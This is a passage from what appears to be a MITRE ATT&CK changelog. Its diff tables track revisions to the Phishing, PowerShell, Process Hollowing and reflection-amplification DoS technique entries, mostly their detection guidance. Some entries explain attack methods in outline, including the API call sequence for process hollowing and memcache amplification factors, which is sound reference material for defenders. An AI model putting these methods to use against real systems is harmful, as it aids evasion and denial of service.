Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Monitor container logs for commands and/or API calls related to listing permissions for pods and nodes, such as kubectl auth can-i.(Citation: K8s Authorization Overview) |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | Office 365 | SaaS |
| x_mitre_platforms[4] | Azure AD | IaaS |
| x_mitre_platforms[5] | AWS | Linux |
| x_mitre_platforms[6] | GCP | macOS |
| x_mitre_platforms[7] | Azure | Google Workspace |
| x_mitre_platforms[8] | SaaS | Containers |
| x_mitre_version | 2.2 | 2.4 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'K8s Authorization Overview', 'description': 'Kubernetes. (n.d.). Authorization Overview. Retrieved June 24, 2021.', 'url': 'https://kubernetes.io/docs/reference/access-authn-authz/authorization/'} | |
| x_mitre_contributors | Daniel Prizmant, Palo Alto Networks | |
| x_mitre_contributors | Yuval Avrahami, Palo Alto Networks |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | Process command-line parameters |
Current version: 2.2
Version changed from: 2.0 → 2.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may send phishing messages to gain access to vic | t | 1 | Adversaries may send phishing messages to gain access to vic |
| > | tim systems. All forms of phishing are electronically delive | > | tim systems. All forms of phishing are electronically delive | ||
| > | red social engineering. Phishing can be targeted, known as s | > | red social engineering. Phishing can be targeted, known as s | ||
| > | pearphishing. In spearphishing, a specific individual, compa | > | pearphishing. In spearphishing, a specific individual, compa | ||
| > | ny, or industry will be targeted by the adversary. More gene | > | ny, or industry will be targeted by the adversary. More gene | ||
| > | rally, adversaries can conduct non-targeted phishing, such a | > | rally, adversaries can conduct non-targeted phishing, such a | ||
| > | s in mass malware spam campaigns. Adversaries may send vict | > | s in mass malware spam campaigns. Adversaries may send vict | ||
| > | ims emails containing malicious attachments or links, typica | > | ims emails containing malicious attachments or links, typica | ||
| > | lly to execute malicious code on victim systems or to gather | > | lly to execute malicious code on victim systems. Phishing ma | ||
| > | credentials for use of [Valid Accounts](https://attack.mitr | > | y also be conducted via third-party services, like social me | ||
| > | e.org/techniques/T1078). Phishing may also be conducted via | > | dia platforms. Phishing may also involve social engineering | ||
| > | third-party services, like social media platforms. | > | techniques, such as posing as a trusted source. | ||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Philip Winther'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-18 01:55:03.337000+00:00 | 2022-01-04 13:57:16.959000+00:00 |
| description | Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems or to gather credentials for use of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Phishing may also be conducted via third-party services, like social media platforms. | Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source. |
| x_mitre_data_sources[0] | File monitoring | File: File Creation |
| x_mitre_data_sources[1] | Packet capture | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Web proxy | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[3] | Email gateway | Network Traffic: Network Traffic Flow |
| x_mitre_detection | Network intrusion detection systems and email gateways can be used to detect phishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems. URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link. Because most common third-party services used for phishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware. Anti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Many possible detections of follow-on behavior may take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs. | Network intrusion detection systems and email gateways can be used to detect phishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link. Because most common third-party services used for phishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware. Anti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Many possible detections of follow-on behavior may take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs. |
| x_mitre_version | 2.0 | 2.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Microsoft Anti Spoofing', 'description': 'Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.', 'url': 'https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide'} | |
| external_references | {'source_name': 'ACSC Email Spoofing', 'description': 'Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.', 'url': 'https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf'} | |
| x_mitre_platforms | Google Workspace |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Mail server | |
| x_mitre_data_sources | Network intrusion detection system | |
| x_mitre_data_sources | Detonation chamber | |
| x_mitre_data_sources | SSL/TLS inspection | |
| x_mitre_data_sources | Anti-virus |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse PowerShell commands and scripts for ex | t | 1 | Adversaries may abuse PowerShell commands and scripts for ex |
| > | ecution. PowerShell is a powerful interactive command-line i | > | ecution. PowerShell is a powerful interactive command-line i | ||
| > | nterface and scripting environment included in the Windows o | > | nterface and scripting environment included in the Windows o | ||
| > | perating system. (Citation: TechNet PowerShell) Adversaries | > | perating system.(Citation: TechNet PowerShell) Adversaries c | ||
| > | can use PowerShell to perform a number of actions, including | > | an use PowerShell to perform a number of actions, including | ||
| > | discovery of information and execution of code. Examples in | > | discovery of information and execution of code. Examples inc | ||
| > | clude the <code>Start-Process</code> cmdlet which can be use | > | lude the <code>Start-Process</code> cmdlet which can be used | ||
| > | d to run an executable and the <code>Invoke-Command</code> c | > | to run an executable and the <code>Invoke-Command</code> cm | ||
| > | mdlet which runs a command locally or on a remote computer ( | > | dlet which runs a command locally or on a remote computer (t | ||
| > | though administrator permissions are required to use PowerSh | > | hough administrator permissions are required to use PowerShe | ||
| > | ell to connect to remote systems). PowerShell may also be u | > | ll to connect to remote systems). PowerShell may also be us | ||
| > | sed to download and run executables from the Internet, which | > | ed to download and run executables from the Internet, which | ||
| > | can be executed from disk or in memory without touching dis | > | can be executed from disk or in memory without touching disk | ||
| > | k. A number of PowerShell-based offensive testing tools are | > | . A number of PowerShell-based offensive testing tools are | ||
| > | available, including [Empire](https://attack.mitre.org/soft | > | available, including [Empire](https://attack.mitre.org/softw | ||
| > | ware/S0363), [PowerSploit](https://attack.mitre.org/softwar | > | are/S0363), [PowerSploit](https://attack.mitre.org/software | ||
| > | e/S0194), [PoshC2](https://attack.mitre.org/software/S0378), | > | /S0194), [PoshC2](https://attack.mitre.org/software/S0378), | ||
| > | and PSAttack.(Citation: Github PSAttack) PowerShell comman | > | and PSAttack.(Citation: Github PSAttack) PowerShell command | ||
| > | ds/scripts can also be executed without directly invoking th | > | s/scripts can also be executed without directly invoking the | ||
| > | e <code>powershell.exe</code> binary through interfaces to P | > | <code>powershell.exe</code> binary through interfaces to Po | ||
| > | owerShell's underlying <code>System.Management.Automation</c | > | werShell's underlying <code>System.Management.Automation</co | ||
| > | ode> assembly DLL exposed through the .NET framework and Win | > | de> assembly DLL exposed through the .NET framework and Wind | ||
| > | dows Common Language Interface (CLI). (Citation: Sixdub Powe | > | ows Common Language Interface (CLI).(Citation: Sixdub PowerP | ||
| > | rPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015) | > | ick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(C | ||
| > | (Citation: Microsoft PSfromCsharp APR 2014) | > | itation: Microsoft PSfromCsharp APR 2014) | ||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User', 'Administrator'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-24 13:51:22.360000+00:00 | 2022-04-19 20:25:48.646000+00:00 |
| description | Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.
A number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), [PowerSploit](https://attack.mitre.org/software/S0194), [PoshC2](https://attack.mitre.org/software/S0378), and PSAttack.(Citation: Github PSAttack)
PowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014) | Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.(Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.
A number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), [PowerSploit](https://attack.mitre.org/software/S0194), [PoshC2](https://attack.mitre.org/software/S0378), and PSAttack.(Citation: Github PSAttack)
PowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014) |
| external_references[1]['source_name'] | TechNet PowerShell | Microsoft PSfromCsharp APR 2014 |
| external_references[1]['description'] | Microsoft. (n.d.). Windows PowerShell Scripting. Retrieved April 28, 2016. | Babinec, K. (2014, April 28). Executing PowerShell scripts from C#. Retrieved April 22, 2019. |
| external_references[1]['url'] | https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx | https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/ |
| external_references[2]['source_name'] | Github PSAttack | SilentBreak Offensive PS Dec 2015 |
| external_references[2]['description'] | Haight, J. (2016, April 21). PS>Attack. Retrieved June 1, 2016. | Christensen, L.. (2015, December 28). The Evolution of Offensive PowerShell Invocation. Retrieved December 8, 2018. |
| external_references[2]['url'] | https://github.com/jaredhaight/PSAttack | https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/ |
| external_references[3]['source_name'] | Sixdub PowerPick Jan 2016 | FireEye PowerShell Logging 2016 |
| external_references[3]['description'] | Warner, J.. (2015, January 6). Inexorable PowerShell – A Red Teamer’s Tale of Overcoming Simple AppLocker Policies. Retrieved December 8, 2018. | Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH POWERSHELL LOGGING. Retrieved February 16, 2016. |
| external_references[3]['url'] | http://www.sixdub.net/?p=367 | https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html |
| external_references[4]['source_name'] | SilentBreak Offensive PS Dec 2015 | Github PSAttack |
| external_references[4]['description'] | Christensen, L.. (2015, December 28). The Evolution of Offensive PowerShell Invocation. Retrieved December 8, 2018. | Haight, J. (2016, April 21). PS>Attack. Retrieved June 1, 2016. |
| external_references[4]['url'] | https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/ | https://github.com/jaredhaight/PSAttack |
| external_references[5]['source_name'] | Microsoft PSfromCsharp APR 2014 | inv_ps_attacks |
| external_references[5]['description'] | Babinec, K. (2014, April 28). Executing PowerShell scripts from C#. Retrieved April 22, 2019. | Hastings, M. (2014, July 16). Investigating PowerShell Attacks. Retrieved December 1, 2021. |
| external_references[5]['url'] | https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/ | https://powershellmagazine.com/2014/07/16/investigating-powershell-attacks/ |
| external_references[7]['source_name'] | FireEye PowerShell Logging 2016 | TechNet PowerShell |
| external_references[7]['description'] | Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH POWERSHELL LOGGING. Retrieved February 16, 2016. | Microsoft. (n.d.). Windows PowerShell Scripting. Retrieved April 28, 2016. |
| external_references[7]['url'] | https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html | https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx |
| x_mitre_data_sources[0] | Windows event logs | Module: Module Load |
| x_mitre_data_sources[1] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[2] | Process command-line parameters | Script: Script Execution |
| x_mitre_data_sources[3] | PowerShell logs | Process: Process Metadata |
| x_mitre_data_sources[4] | Loaded DLLs | Command: Command Execution |
| x_mitre_detection | If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity. Monitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015) It is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features.(Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data. | If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.
Monitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)
It is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features.(Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.
Consider monitoring for Windows event ID (EID) 400, which shows the version of PowerShell executing in the EngineVersion field (which may also be relevant to detecting a potential [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)) as well as if PowerShell is running locally or remotely in the HostName field. Furthermore, EID 400 may indicate the start time and EID 403 indicates the end time of a PowerShell session.(Citation: inv_ps_attacks) |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Sixdub PowerPick Jan 2016', 'description': 'Warner, J.. (2015, January 6). Inexorable PowerShell – A Red Teamer’s Tale of Overcoming Simple AppLocker Policies. Retrieved December 8, 2018.', 'url': 'http://www.sixdub.net/?p=367'} | |
| x_mitre_contributors | Mayuresh Dani, Qualys |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File monitoring | |
| x_mitre_data_sources | DLL monitoring |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may inject malicious code into suspended and hol | t | 1 | Adversaries may inject malicious code into suspended and hol |
| > | lowed processes in order to evade process-based defenses. Pr | > | lowed processes in order to evade process-based defenses. Pr | ||
| > | ocess hollowing is a method of executing arbitrary code in t | > | ocess hollowing is a method of executing arbitrary code in t | ||
| > | he address space of a separate live process. Process holl | > | he address space of a separate live process. Process holl | ||
| > | owing is commonly performed by creating a process in a suspe | > | owing is commonly performed by creating a process in a suspe | ||
| > | nded state then unmapping/hollowing its memory, which can th | > | nded state then unmapping/hollowing its memory, which can th | ||
| > | en be replaced with malicious code. A victim process can be | > | en be replaced with malicious code. A victim process can be | ||
| > | created with native Windows API calls such as <code>CreatePr | > | created with native Windows API calls such as <code>CreatePr | ||
| > | ocess</code>, which includes a flag to suspend the processes | > | ocess</code>, which includes a flag to suspend the processes | ||
| > | primary thread. At this point the process can be unmapped u | > | primary thread. At this point the process can be unmapped u | ||
| > | sing APIs calls such as <code>ZwUnmapViewOfSection</code> or | > | sing APIs calls such as <code>ZwUnmapViewOfSection</code> or | ||
| > | <code>NtUnmapViewOfSection</code> before being written to, | > | <code>NtUnmapViewOfSection</code> before being written to, | ||
| > | realigned to the injected code, and resumed via <code>Virtu | > | realigned to the injected code, and resumed via <code>Virtu | ||
| > | alAllocEx</code>, <code>WriteProcessMemory</code>, <code>Set | > | alAllocEx</code>, <code>WriteProcessMemory</code>, <code>Set | ||
| > | ThreadContext</code>, then <code>ResumeThread</code> respect | > | ThreadContext</code>, then <code>ResumeThread</code> respect | ||
| > | ively.(Citation: Leitch Hollowing)(Citation: Endgame Process | > | ively.(Citation: Leitch Hollowing)(Citation: Elastic Process | ||
| > | Injection July 2017) This is very similar to [Thread Local | > | Injection July 2017) This is very similar to [Thread Local | ||
| > | Storage](https://attack.mitre.org/techniques/T1055/005) but | > | Storage](https://attack.mitre.org/techniques/T1055/005) but | ||
| > | creates a new process rather than targeting an existing pro | > | creates a new process rather than targeting an existing pro | ||
| > | cess. This behavior will likely not result in elevated privi | > | cess. This behavior will likely not result in elevated privi | ||
| > | leges since the injected process was spawned from (and thus | > | leges since the injected process was spawned from (and thus | ||
| > | inherits the security context) of the injecting process. How | > | inherits the security context) of the injecting process. How | ||
| > | ever, execution via process hollowing may also evade detecti | > | ever, execution via process hollowing may also evade detecti | ||
| > | on from security products since the execution is masked unde | > | on from security products since the execution is masked unde | ||
| > | r a legitimate process. | > | r a legitimate process. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:28:08.758000+00:00 | 2021-11-29 17:22:32.704000+00:00 |
| description | Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process.
Process hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as CreateProcess, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as ZwUnmapViewOfSection or NtUnmapViewOfSection before being written to, realigned to the injected code, and resumed via VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Leitch Hollowing)(Citation: Endgame Process Injection July 2017)
This is very similar to [Thread Local Storage](https://attack.mitre.org/techniques/T1055/005) but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process. | Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process.
Process hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as CreateProcess, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as ZwUnmapViewOfSection or NtUnmapViewOfSection before being written to, realigned to the injected code, and resumed via VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Leitch Hollowing)(Citation: Elastic Process Injection July 2017)
This is very similar to [Thread Local Storage](https://attack.mitre.org/techniques/T1055/005) but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process. |
| external_references[2]['source_name'] | Endgame Process Injection July 2017 | Elastic Process Injection July 2017 |
| x_mitre_data_sources[0] | Process monitoring | Process: Process Access |
| x_mitre_data_sources[1] | API monitoring | Process: OS API Execution |
| x_mitre_detection | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Endgame Process Injection July 2017)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)
Processing hollowing commonly involves spawning an otherwise benign victim process. Consider correlating detections of processes created in a suspended state (ex: through API flags or process’ thread metadata) with other malicious activity such as attempts to modify a process' memory, especially by its parent process, or other abnormal process behavior.(Citation: Nviso Spoof Command Line 2020)(Citation: Mandiant Endpoint Evading 2019)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Nviso Spoof Command Line 2020', 'description': 'Daman, R. (2020, February 4). The return of the spoof part 2: Command line spoofing. Retrieved November 19, 2021.', 'url': 'https://blog.nviso.eu/2020/02/04/the-return-of-the-spoof-part-2-command-line-spoofing/'} | |
| external_references | {'source_name': 'Mandiant Endpoint Evading 2019', 'description': 'Pena, E., Erikson, C. (2019, October 10). Staying Hidden on the Endpoint: Evading Detection with Shellcode. Retrieved November 29, 2021.', 'url': 'https://www.mandiant.com/resources/staying-hidden-on-the-endpoint-evading-detection-with-shellcode'} | |
| x_mitre_data_sources | Process: Process Modification |
Current version: 1.3
Version changed from: 1.1 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to cause a denial of service by refl | t | 1 | Adversaries may attempt to cause a denial of service (DoS) b |
| > | ecting a high-volume of network traffic to a target. This ty | > | y reflecting a high-volume of network traffic to a target. T | ||
| > | pe of Network DoS takes advantage of a third-party server in | > | his type of Network DoS takes advantage of a third-party ser | ||
| > | termediary that hosts and will respond to a given spoofed so | > | ver intermediary that hosts and will respond to a given spoo | ||
| > | urce IP address. This third-party server is commonly termed | > | fed source IP address. This third-party server is commonly t | ||
| > | a reflector. An adversary accomplishes a reflection attack b | > | ermed a reflector. An adversary accomplishes a reflection at | ||
| > | y sending packets to reflectors with the spoofed address of | > | tack by sending packets to reflectors with the spoofed addre | ||
| > | the victim. Similar to Direct Network Floods, more than one | > | ss of the victim. Similar to Direct Network Floods, more tha | ||
| > | system may be used to conduct the attack, or a botnet may be | > | n one system may be used to conduct the attack, or a botnet | ||
| > | used. Likewise, one or more reflector may be used to focus | > | may be used. Likewise, one or more reflectors may be used to | ||
| > | traffic on the target.(Citation: Cloudflare ReflectionDoS Ma | > | focus traffic on the target.(Citation: Cloudflare Reflectio | ||
| > | y 2017) Reflection attacks often take advantage of protocol | > | nDoS May 2017) This Network DoS attack may also reduce the a | ||
| > | s with larger responses than requests in order to amplify th | > | vailability and functionality of the targeted system(s) and | ||
| > | eir traffic, commonly known as a Reflection Amplification at | > | network. Reflection attacks often take advantage of protoco | ||
| > | tack. Adversaries may be able to generate an increase in vol | > | ls with larger responses than requests in order to amplify t | ||
| > | ume of attack traffic that is several orders of magnitude gr | > | heir traffic, commonly known as a Reflection Amplification a | ||
| > | eater than the requests sent to the amplifiers. The extent o | > | ttack. Adversaries may be able to generate an increase in vo | ||
| > | f this increase will depending upon many variables, such as | > | lume of attack traffic that is several orders of magnitude g | ||
| > | the protocol in question, the technique used, and the amplif | > | reater than the requests sent to the amplifiers. The extent | ||
| > | ying servers that actually produce the amplification in atta | > | of this increase will depending upon many variables, such as | ||
| > | ck volume. Two prominent protocols that have enabled Reflect | > | the protocol in question, the technique used, and the ampli | ||
| > | ion Amplification Floods are DNS(Citation: Cloudflare DNSamp | > | fying servers that actually produce the amplification in att | ||
| > | lficationDoS) and NTP(Citation: Cloudflare NTPamplifciationD | > | ack volume. Two prominent protocols that have enabled Reflec | ||
| > | oS), though the use of several others in the wild have been | > | tion Amplification Floods are DNS(Citation: Cloudflare DNSam | ||
| > | documented.(Citation: Arbor AnnualDoSreport Jan 2018) In pa | > | plficationDoS) and NTP(Citation: Cloudflare NTPamplifciation | ||
| > | rticular, the memcache protocol showed itself to be a powerf | > | DoS), though the use of several others in the wild have been | ||
| > | ul protocol, with amplification sizes up to 51,200 times the | > | documented.(Citation: Arbor AnnualDoSreport Jan 2018) In p | ||
| > | requesting packet.(Citation: Cloudflare Memcrashed Feb 2018 | > | articular, the memcache protocol showed itself to be a power | ||
| > | ) | > | ful protocol, with amplification sizes up to 51,200 times th | ||
| > | e requesting packet.(Citation: Cloudflare Memcrashed Feb 201 | ||||
| > | 8) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 15:58:18.490000+00:00 | 2022-03-25 20:05:38.883000+00:00 |
| description | Adversaries may attempt to cause a denial of service by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflector may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017) Reflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018) In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018) | Adversaries may attempt to cause a denial of service (DoS) by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflectors may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017) This Network DoS attack may also reduce the availability and functionality of the targeted system(s) and network. Reflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. 